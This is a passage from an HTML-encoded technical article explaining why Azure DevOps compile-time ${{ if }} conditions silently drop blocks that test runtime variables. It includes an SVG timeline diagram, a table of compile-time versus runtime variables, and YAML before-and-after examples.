text-anchor='middle' x='128' y='948' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='964' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='980' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='324' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='420' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='468' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='612' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='628' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='692' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='708' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='724' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='820' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='868' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='948' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='964' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='980' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='324' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='420' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='468' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='564' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='612' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='708' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='868' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='964' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='980' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='308' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='324' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='564' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='708' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='724' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='820' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='868' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='964' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='980' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='308' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='324' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='420' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='468' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='564' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='612' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='708' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='724' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='820' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='868' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='964' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='980' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='308' fill='currentColor' style='font-size:1em'\u003e*\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='420' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='468' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='564' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='708' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='724' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='820' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='868' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='980' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='324' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='468' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='564' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='724' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='820' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='868' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='964' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='980' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='164' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='324' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='420' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='468' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='564' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='724' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='820' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='868' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='964' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='980' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='324' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='468' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='564' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='724' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='820' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='868' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='964' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='980' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='324' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='468' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='564' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='820' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='868' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='964' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='980' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='164' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='564' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='868' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='980' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='212' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='564' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='212' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='212' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='244' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='260' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='276' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='292' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='308' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='324' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='340' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='356' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='372' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='388' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='404' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='420' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='436' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='452' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='468' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='484' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='500' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='516' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='532' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='548' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='212' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='372' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='372' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='372' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='372' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='372' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='372' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='372' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='372' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='372' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='372' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eThe Gap:\u003c/strong\u003e The orange zone (Phase 2) is where structural YAML changes happen. The blue zone (Phase 4) is where most dynamic data arrives.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSilent Failure:\u003c/strong\u003e If you use \u003ccode\u003e${{ if }}\u003c/code\u003e to test a variable from the blue or green zones, it fails silently in the orange zone because the value is currently \u003ccode\u003enull\u003c/code\u003e or \u003ccode\u003e''\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOnly two variable sources exist during Phase 2: template \u003ccode\u003eparameters:\u003c/code\u003e values and variables declared with a static literal value directly in the YAML file. Everything else arrives in Phase 4 or later.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eAvailable at Compile Time (Phase 2)\u003c/th\u003e\n          \u003cth\u003eNOT Available at Compile Time\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eparameters.runSecurityScan\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003evariables['Build.Reason']\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eparameters.environment\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003evariables['Build.SourceBranch']\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003evariables.staticVar\u003c/code\u003e (literal in YAML)\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003evariables['featureFlag']\u003c/code\u003e (from variable group)\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003evariables.templateVar\u003c/code\u003e (template parameter)\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003evariables['System.PullRequest.TargetBranch']\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e—\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003evariables['myOutputVar']\u003c/code\u003e (task output)\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e—\u003c/td\u003e\n          \u003ctd\u003eAny queue-time override value\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eIf an \u003ccode\u003e${{ if }}\u003c/code\u003e condition references anything in the right column, it receives an empty string. Since an empty string is falsy, the block is removed from the pipeline plan entirely before the agent ever sees it.\u003c/p\u003e\n\u003ch3 id=\"what-evaluates-to-null-actually-means\"\u003eWhat \u0026ldquo;Evaluates to Null\u0026rdquo; Actually Means\u003c/h3\u003e\n\u003cp\u003eWhen \u003ccode\u003e${{ if eq(variables['Build.SourceBranch'], 'refs/heads/main') }}\u003c/code\u003e evaluates during Phase 2, the expression engine looks up \u003ccode\u003evariables['Build.SourceBranch']\u003c/code\u003e. Because the run has not been queued, this value does not exist. The lookup returns an empty string \u003ccode\u003e''\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eIn Azure DevOps expression evaluation, \u003ccode\u003enull\u003c/code\u003e, \u003ccode\u003e0\u003c/code\u003e, \u003ccode\u003efalse\u003c/code\u003e (boolean), and \u003ccode\u003e''\u003c/code\u003e (empty string) are falsy. An empty string makes the \u003ccode\u003eif\u003c/code\u003e condition false. The YAML engine removes the block from the plan as if it were never written.\u003c/p\u003e\n\u003cp\u003eThe system does not log a warning. From its perspective, the condition was simply false. The resulting Expanded YAML contains no trace of the excluded block:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Source YAML\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm ci\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Install dependencies\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# This block ALWAYS evaluates to false at compile time.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Build.SourceBranch resolves to \u0026#39;\u0026#39; (empty string) during Phase 2.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy to production\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm test\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Run tests\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Expanded YAML (what the agent receives)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm ci\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Install dependencies\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# The deployment step is absent — removed during compile.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm test\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Run 